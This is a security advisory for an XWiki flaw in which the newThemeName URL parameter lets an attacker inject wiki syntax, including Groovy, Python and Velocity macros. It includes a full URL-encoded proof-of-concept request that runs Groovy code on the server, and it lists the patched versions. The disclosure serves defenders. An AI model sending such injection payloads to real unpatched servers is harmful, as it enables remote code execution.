Advisory Details
### Impact
It's possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the `newThemeName` request parameter (URL parameter), in combination with additional parameters `form_token=1&action=create`.
For instance: [http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?newThemeName=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&form_token=1&action=create](http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?**newThemeName**=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&form_token=1&action=create) will execute the following groovy code: `println("hello from groovy!")` on the server.
### Patches
This has been patched in the supported versions 13.10.10, 14.9-rc-1, and 14.4.6.
